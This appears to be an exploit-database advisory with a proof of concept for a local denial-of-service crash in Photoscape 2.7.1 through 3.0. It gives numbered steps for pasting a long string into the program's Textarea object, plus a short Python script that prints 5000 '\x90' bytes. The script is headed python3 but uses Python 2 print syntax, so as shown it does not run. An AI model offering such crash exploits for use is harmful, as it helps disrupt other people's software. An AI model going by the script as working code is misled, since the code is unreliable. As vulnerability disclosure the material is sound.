Photoscape Textarea Denial Of Service

Photoscape versions 2.7.1 up to 3.0 suffer from a Textarea denial of service vulnerability.


MD5 | e62dc0374a84cb4f9dd37bd039dab651

# Exploit Title: Photoscape 2.7.1 < 3.0  - 'Textarea' Denial of Service
(PoC)
# Author: HexraiN
# Date: 2020-04-10
# Vendor Homepage: http://www.photoscape.org/
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Parrot OS , Windows 10

Steps to Produce the Crash:
1.- Run Python Exploit
2.- Copy output to clipboard
3.- Open Photoscape
4.- Select Any image
5.- Go To Menu > Object and select Create
6.- Paste ClipBoard on "Textarea"
7.- Crashed..


PoC :

#!/usr/bin/python3

buf = ""
buf += "\x90"*5000

print buf

Related Posts